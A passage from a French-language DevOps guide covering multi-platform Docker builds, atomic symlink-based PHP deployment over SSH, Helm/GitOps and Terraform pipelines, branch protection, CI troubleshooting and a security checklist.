10.2 buildx et cache distant

# Builder multi-plateforme
docker buildx create --name ci --driver docker-container --use
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  --cache-from type=registry,ref=registry.example.com/app:buildcache \
  --cache-to   type=registry,ref=registry.example.com/app:buildcache,mode=max \
  --secret id=composer_auth,src=$HOME/.composer/auth.json \
  --provenance=mode=max --sbom=true \
  -t registry.example.com/app:1.8.2 --push .
Méthode de build en CIPrivilègesRemarques
Docker-in-Docker (docker:dind)Runner privilégiéSimple ; isoler sur des runners dédiés et éphémères
Socket de l'hôte montéRoot sur l'hôteÀ proscrire sur un runner partagé (accès à tous les conteneurs de l'hôte)
BuildKit rootless / BuildahNon privilégié (selon config)Bon compromis sur Kubernetes
KanikoNon privilégiéLe dépôt Google d'origine a été archivé en 2025 ; des forks communautaires existent. Préférer BuildKit/Buildah pour un nouveau projet.
Builders managés (cloud, Docker Build Cloud)ExterneCache partagé, pas de privilège local

10.3 Registre et étiquetage

  • Tags immuables : 1.8.2, sha-3f2a9c1. Activer l'immuabilité des tags côté registre (Harbor, ECR, ACR, GitLab protected tags).
  • Déployer par digest : ce qui a été testé et scanné est exactement ce qui tourne.
  • Politique de rétention : purger les images de branches et de review apps, conserver les releases.
  • Miroir / proxy cache interne de Docker Hub pour éviter les limites de pull anonymes et les indisponibilités.

Bases Docker : voir Docker.

11. Déployer une application PHP par SSH

Pour un serveur classique (Apache/Nginx + PHP-FPM), le motif fiable est le déploiement par releases avec bascule de lien symbolique atomique : chaque version est copiée dans son propre répertoire, puis un lien current est basculé en une opération. Le rollback consiste à repointer le lien.

/var/www/app/
|-- releases/
|   |-- 20261019-101500_3f2a9c1/
|   `-- 20261018-170200_9b1e004/
|-- shared/                # persistant entre versions
|   |-- .env
|   |-- storage/
|   `-- public/uploads/
`-- current -> releases/20261019-101500_3f2a9c1
#!/usr/bin/env bash
# deploy.sh - exécuté par la CI, artefact déjà construit dans ./build
set -euo pipefail
: "${DEPLOY_HOST:?}" "${DEPLOY_USER:?}" "${CI_COMMIT_SHORT_SHA:?}"
BASE=/var/www/app
REL="$(date +%Y%m%d-%H%M%S)_${CI_COMMIT_SHORT_SHA}"
SSH="ssh -o BatchMode=yes -o StrictHostKeyChecking=yes ${DEPLOY_USER}@${DEPLOY_HOST}"

# 1) Copie de la release (vendor/ déjà installé en CI avec --no-dev)
rsync -az --delete --exclude-from=.deployignore ./build/ \
  "${DEPLOY_USER}@${DEPLOY_HOST}:${BASE}/releases/${REL}/"

# 2) Liens vers les données partagées, migrations, bascule atomique, rechargement
$SSH bash -s -- "$BASE" "$REL" <<'REMOTE'
set -euo pipefail
BASE="$1"; REL="$2"; R="$BASE/releases/$REL"
ln -sfn "$BASE/shared/.env"           "$R/.env"
ln -sfn "$BASE/shared/storage"        "$R/storage"
ln -sfn "$BASE/shared/public/uploads" "$R/public/uploads"
cd "$R" && php bin/migrate --no-interaction          # migrations compatibles N-1 (expand/contract)
ln -s "$R" "$BASE/current.tmp" && mv -T "$BASE/current.tmp" "$BASE/current"   # rename(2) atomique
sudo systemctl reload php8.3-fpm                     # vide l'OPcache (règle sudoers dédiée)
# Garder les 5 dernières releases
ls -1dt "$BASE"/releases/*/ | tail -n +6 | xargs -r rm -rf
REMOTE

# 3) Vérification post-déploiement
curl -fsS --retry 5 --retry-delay 3 "https://www.example.com/healthz" >/dev/null
ln -sfn n'est pas atomique : il supprime puis recrée le lien ; pendant un court instant, current n'existe pas. Créer un lien temporaire puis le renommer (mv -T, appel système rename) est atomique. Côté PHP, l'OPcache et le cache realpath conservent les anciens chemins résolus : recharger PHP-FPM, ou faire pointer le serveur web sur le chemin réel ($realpath_root dans Nginx pour SCRIPT_FILENAME et DOCUMENT_ROOT).

11.1 Côté GitLab CI

deploy-prod-ssh:
  stage: deploy
  image: alpine:3.20
  environment: { name: production, url: https://www.example.com }
  resource_group: production
  rules:
    - if: $CI_COMMIT_TAG
      when: manual
  needs: [build-php]               # job qui produit ./build en artefact
  before_script:
    - apk add --no-cache openssh-client rsync bash curl
    - install -m 700 -d ~/.ssh
    - cp "$SSH_KNOWN_HOSTS" ~/.ssh/known_hosts      # variable de type File, protégée
    - eval "$(ssh-agent -s)"
    - ssh-add "$SSH_DEPLOY_KEY"                       # variable de type File, protégée, portée production
  script:
    - ./deploy.sh

11.2 Durcissement côté serveur

  • Utilisateur deploy dédié, clé SSH propre à la CI et à l'environnement, known_hosts fourni (jamais StrictHostKeyChecking=no). Voir SSH.
  • Dans authorized_keys : from="198.51.100.0/24",no-agent-forwarding,no-port-forwarding,no-pty,no-X11-forwarding pour limiter l'origine et les usages de la clé. Mieux encore : certificats SSH à durée courte signés par une CA (Vault SSH) plutôt que des clés statiques.
  • sudo limité à la seule commande nécessaire : deploy ALL=(root) NOPASSWD: /usr/bin/systemctl reload php8.3-fpm.
  • Le code déployé appartient à deploy et n'est pas modifiable par l'utilisateur PHP (www-data) : seuls shared/storage et shared/public/uploads sont en écriture, avec exécution PHP désactivée dans uploads.
  • Rien de sensible dans la racine web : .git, .env, composer.json, fichiers *.md et scripts de test exclus via .deployignore, et racine web pointée sur current/public. Vérifier en production avec curl -I https://www.example.com/.env (attendu : 403/404).

12. Déployer sur Kubernetes et avec Terraform

12.1 Push (CI exécute Helm) vs pull (GitOps)

Push : helm upgrade depuis la CIPull : Argo CD / Flux
Identifiants clusterDans la CI (à limiter par RBAC et OIDC)Aucun : l'agent est dans le cluster
DériveNon détectéeDétectée et corrigée
Rollbackhelm rollback ou re-run d'un ancien pipelinegit revert
SimplicitéImmédiateUn dépôt de configuration et un outil de plus
# Push : déploiement sûr avec Helm
helm upgrade --install app ./chart \
  --namespace app-prod \
  --values chart/values-prod.yaml \
  --set image.digest="$IMAGE_DIGEST" \
  --wait --timeout 10m \
  --atomic                          # Helm 3 ; « --rollback-on-failure » avec Helm 4
kubectl -n app-prod rollout status deploy/app --timeout=5m

# Pull : la CI met seulement à jour le dépôt de configuration
git clone "https://oauth2:${DEPLOY_REPO_TOKEN}@git.example.com/platform/deploy.git"
cd deploy/apps/app/overlays/prod
kustomize edit set image "registry.example.com/app@${IMAGE_DIGEST}"
git commit -am "app: deploy ${CI_COMMIT_SHORT_SHA}" && git push

Pour le détail Kubernetes (RBAC du compte de déploiement, Gateway API, GitOps) voir Kubernetes.

12.2 Terraform : plan revu, apply du plan exact

# .gitlab-ci.yml (extrait)
.tf:
  image:
    name: hashicorp/terraform:<version-epinglee>
    entrypoint: [""]
  variables:
    TF_IN_AUTOMATION: "true"
    TF_INPUT: "false"
  before_script:
    - cd infra/prod
    - terraform init -lockfile=readonly

tf-plan:
  extends: .tf
  stage: build
  id_tokens:
    AZURE_FEDERATED_TOKEN:          # fédération OIDC vers Azure (ARM_USE_OIDC=true)
      aud: api://AzureADTokenExchange
  script:
    - terraform fmt -check -recursive
    - terraform validate
    - terraform plan -out=tfplan -lock-timeout=5m
    - terraform show -no-color tfplan > plan.txt
  artifacts:
    paths: [infra/prod/tfplan, infra/prod/plan.txt]
    expire_in: 1 day

tf-apply:
  extends: .tf
  stage: deploy
  needs: [tf-plan]
  environment: { name: infra-prod }
  resource_group: infra-prod
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
      when: manual
  script:
    - terraform apply -lock-timeout=5m tfplan     # applique EXACTEMENT le plan revu
Plan et secrets : le fichier tfplan et l'état Terraform peuvent contenir des valeurs sensibles en clair. Expiration courte des artefacts, accès restreint au projet, backend d'état chiffré avec verrouillage. Un plan est périmé dès que l'état change : si un autre apply est passé entre-temps, Terraform refuse le plan (« Saved plan is stale ») et il faut replanifier. Voir Terraform.

12.3 Ansible

Pour la configuration de serveurs, la CI lance ansible-playbook avec --check --diff sur les MR, puis en réel sur la branche principale, depuis un runner ayant l'accès réseau requis. Inventaire et variables chiffrées via Ansible Vault (mot de passe injecté en variable File protégée) ou récupérés depuis un coffre. Voir Ansible.

13. Tests, qualité et performance des pipelines

13.1 Pyramide de contrôles

NiveauExemples PHPDurée cibleOù
Hooks locauxphp-cs-fixer, gitleakssecondespre-commit
StatiquePHPStan / Psalm, lint YAML, hadolint, actionlint< 2 minChaque MR/PR
UnitairesPHPUnit / Pest< 5 minChaque MR/PR
IntégrationBase réelle en service, API externes simulées< 10 minChaque MR/PR
Bout en boutPlaywright sur review app10-20 minMR vers main, nuit
Smoke testscurl sur /healthz, parcours critique< 1 minAprès chaque déploiement

13.2 Branches protégées et règles de fusion

  • Branche principale protégée : pas de push direct, MR/PR obligatoire, pipeline réussi obligatoire, au moins une approbation, approbation du CODEOWNERS pour .gitlab-ci.yml, .github/, infra/.
  • GitHub : rulesets avec « required status checks » nommés explicitement (un job renommé ou absent ne doit pas débloquer la fusion) ; merge queue pour tester le résultat de la fusion sur les dépôts très actifs (les workflows doivent alors écouter merge_group).
  • GitLab : « Pipelines must succeed », merged results pipelines et merge trains (Premium).
  • Tags de release protégés : seuls les mainteneurs créent v*, puisque le tag déclenche la production.

13.3 Accélérer

  • DAG (needs) plutôt que stages séquentiels ; paralléliser les tests (parallel: 4 sous GitLab avec répartition par fichiers, matrice sous GitHub).
  • Ne lancer que ce qui est concerné : rules:changes (GitLab), filtres paths (GitHub). Attention : un check requis filtré par paths reste « en attente » et bloque la PR ; prévoir un job toujours présent qui agrège.
  • Images de CI pré-construites avec les outils (plutôt que apt-get install à chaque job), stockées dans le registre interne.
  • GIT_DEPTH faible (GitLab) / fetch-depth: 1 (GitHub), sauf pour les outils qui ont besoin de l'historique (versionnement sémantique, analyse de diff).
  • Mesurer : durée par job sur 30 jours, taux de tests instables (flaky) mis en quarantaine plutôt que relancés en boucle.

14. Dépannage

SymptômeCause probableCorrection
GitLab : job bloqué « pending », aucun runnerTags du job absents des runners, runner protégé et branche non protégée, runner en pauseComparer tags du job et du runner ; vérifier « Run untagged jobs » et « Protected »
GitLab : job absent du pipelineAucune règle rules ne correspond, ou workflow:rules exclut la sourceÉditeur de pipeline > « Validate » avec simulation ; vérifier $CI_PIPELINE_SOURCE
Deux pipelines par push (branche + MR)Pas de workflow:rules anti-doublonModèle de la section 3 ($CI_OPEN_MERGE_REQUESTS)
Variable vide dans un jobVariable protégée sur branche non protégée, portée d'environnement différenteVérifier la protection de la branche et la portée ; ne jamais « déprotéger » un secret de prod pour tester
Docker-in-Docker : « Cannot connect to the Docker daemon »Runner non privilégié, DOCKER_TLS_CERTDIR / DOCKER_HOST incohérents, service pas encore prêtRunner privileged = true dédié, volume /certs/client, alias de service docker
Cache jamais réutiliséClé différente à chaque job, runners différents sans cache distribuéClé basée sur le lockfile, cache S3 partagé
GitHub : « Resource not accessible by integration »permissions du GITHUB_TOKEN insuffisantes, ou PR issue d'un fork (token en lecture seule)Ajouter la permission précise au job ; pour les forks, séparer en deux workflows
GitHub OIDC : « Not authorized to perform sts:AssumeRoleWithWebIdentity » / AADSTS700213Le sub du jeton ne correspond pas au sujet configuré (environnement vs branche, casse du nom)Décoder le jeton dans un job de test et comparer le sub exact ; un job avec environment: a un sujet de type environnement
Secret disponible dans le workflow mais videExécution déclenchée depuis un fork, ou par Dependabot (secrets Dependabot séparés)Déclarer le secret dans « Dependabot secrets » ; ne pas exposer de secrets aux forks
Workflow non déclenchéPush fait avec GITHUB_TOKEN (pas de déclenchement récursif), filtre paths/branches, YAML invalideUtiliser une GitHub App pour les pushes automatisés ; actionlint
Helm : « another operation (install/upgrade/rollback) is in progress »Job précédent interrompu pendant un upgradehelm history, puis helm rollback vers la dernière révision « deployed » ; resource_group/concurrency pour éviter la récidive
Terraform : « Error acquiring the state lock »Exécution concurrente ou job tuéVérifier qu'aucun job ne tourne, puis terraform force-unlock <ID>
SSH : « Host key verification failed »known_hosts absent ou clé serveur changéeFournir le known_hosts en variable ; si la clé a changé, vérifier hors bande avant de la mettre à jour
Déploiement PHP OK mais ancien code serviOPcache / realpath cache sur l'ancien chemin du symlinkRecharger PHP-FPM, $realpath_root côté Nginx
# GitLab : déboguer un job
#   variables: { CI_DEBUG_TRACE: "true" }   # ATTENTION : affiche toutes les variables, secrets compris
gitlab-runner --debug run                    # côté runner, en avant-plan
sudo journalctl -u gitlab-runner -f

# GitHub : relancer avec « Enable debug logging » (ACTIONS_STEP_DEBUG)
gh run list --workflow ci.yml --limit 5
gh run view <run-id> --log-failed
gh run rerun <run-id> --failed
gh workflow run deploy.yml -f environment=staging

# Tester un workflow localement (approximation, pas d'identique à 100 %)
act pull_request -j test
CI_DEBUG_TRACE : ce mode affiche toutes les variables, y compris masquées, dans le log du job. Ne jamais l'activer sur un job qui a accès à des secrets de production, et purger le log ensuite si c'est arrivé (puis faire tourner les secrets).

15. Checklist

DomaineContrôle
ConceptionBuild unique promu entre environnements, déploiement par digest, migrations expand/contract, rollback documenté et testé
DéclenchementBranches et tags de release protégés, MR/PR + pipeline vert + revue obligatoires, CODEOWNERS sur les fichiers de CI et d'infra
SecretsOIDC vers cloud/Vault partout où c'est possible, secrets restants protégés + portée d'environnement, aucun secret dans les logs, détection de secrets active
PermissionsGITHUB_TOKEN en lecture par défaut, permissions par job, conditions OIDC restreintes au dépôt ET à l'environnement
RunnersRunners de prod protégés et dédiés, aucun runner privilégié partagé avec des projets non maîtrisés, versions à jour, VM éphémères pour code externe
Chaîne d'approvisionnementActions et includes épinglés (SHA / tag de version), Dependabot ou Renovate actifs, pas de pull_request_target avec checkout du code de PR, audit zizmor/actionlint
AnalysesSAST, SCA, scan d'image et d'IaC bloquants sur les sévérités critiques corrigeables, exceptions documentées et datées
ArtefactsSBOM généré, image signée (cosign) et signature vérifiée au déploiement, expiration des artefacts sensibles
Déploiementresource_group/concurrency par environnement, approbation pour la prod, smoke test post-déploiement, bascule atomique (symlink, Helm --wait)
ExploitationDurée et taux d'échec des pipelines suivis, tests instables en quarantaine, notifications d'échec de déploiement vers l'équipe d'astreinte
Serveurs ciblesUtilisateur de déploiement dédié, sudo minimal, racine web sans fichiers sensibles vérifiée par curl après chaque mise en production
Pour aller plus loin : Git pour les flux de branches, Docker pour les images, Kubernetes et Terraform pour les cibles de déploiement.